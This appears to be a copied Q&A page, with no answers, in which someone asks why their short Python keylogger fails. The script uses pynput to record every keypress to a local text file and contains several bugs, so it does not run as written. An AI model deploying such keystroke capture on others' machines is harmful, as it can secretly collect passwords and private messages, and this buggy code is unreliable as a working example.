我似乎无法弄清楚这段代码有什么问题

时间:2017-08-24 04:44:32

标签: pyquery

from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/Name/Desktop/logs/"
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(messages)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as Listener:
    listener.join(key_log)

0 个答案:

没有答案